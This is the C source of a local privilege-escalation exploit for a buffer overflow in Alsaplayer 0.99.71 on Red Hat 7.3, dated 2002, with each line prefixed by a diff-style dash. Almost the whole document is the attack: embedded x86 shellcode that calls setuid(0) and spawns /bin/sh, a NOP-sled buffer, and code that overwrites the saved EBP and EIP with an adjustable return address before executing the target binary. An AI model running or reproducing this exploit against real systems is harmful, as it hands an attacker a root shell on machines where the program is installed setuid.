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- /*
- * Alsaplayer exploit for a buffer overflow found by KF (snosoft.com)
- *
- * This program is not installed with special permissions by default.
- * However, the author himself does recommend to do so under certain
- * conditions:
- *
- * http://lists.tartarus.org/pipermail/alsaplayer-devel/2002-February/000657.html
- *
- * Author: zillion[at]safemode.org (09/2002)
- *
- * Tested on Red Hat 7.3 linux with alsaplayer-devel-0.99.71-1
- *
- */
-
- #include <unistd.h>
- #include <sys/stat.h>
- #include <string.h>
-
- #define BUFFER_SIZE 1056
- #define NOP 0x90
- #define RET 0xbfffe440
-
- char shellcode[]=
-
- "\xeb\x26\x5e\x31\xc0\x89\xc3\x89\xc1\x89\xc2\xb0\xa4\xcd\x80"
- "\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b"
- "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xd5\xff\xff\xff"
- "\x2f\x62\x69\x6e\x2f\x73\x68";
-
- void print_error(char * burb) {
- printf(" Error: %s !\n",burb); exit(0);
- }
-
- void usage(char *progname) {
- printf("\n*--- -- - Alsaplayer b0f exploit - -- ---*\n");
- printf("\nDefault: %s -f /path/to/alsaplayer",progname);
- printf("\nOption : %s -o <offset>\n\n",progname);
- exit(0);
- }
-
- int main(int argc, char **argv){
-
- char buffer[BUFFER_SIZE];
- char file[30];
- long retaddress;
- int arg,offset=500;
-
- struct stat sbuf;
-
- if(argc < 2) { usage(argv[0]); }
-
- while ((arg = getopt (argc, argv, "f:o:")) != -1){
- switch (arg){
- case 'f':
- strncpy(file,optarg,sizeof(file));
- if(stat(argv[2], &sbuf)) { print_error("No such file");}
- break;
- case 'o':
- offset = atoi(optarg);
- if(offset < 0) { print_error("Offset must be positive");}
- break;
- default :
- usage(argv[0]);
- }
- }
-
- retaddress = (RET - offset);
- memset(buffer,NOP,BUFFER_SIZE);
- memcpy(buffer + BUFFER_SIZE - (sizeof(shellcode) + 8) ,shellcode,sizeof(shellcode) -1);
-
- /* Overwrite EBP and EIP */
- *(long *)&buffer[BUFFER_SIZE - 8] = retaddress;
- *(long *)&buffer[BUFFER_SIZE - 4] = retaddress;
-
- if(execl(file,file,"-p",buffer,NULL) != 0) {
- print_error("Could not execute alsaplayer ");
- }
-
- return 0;
-
- }
-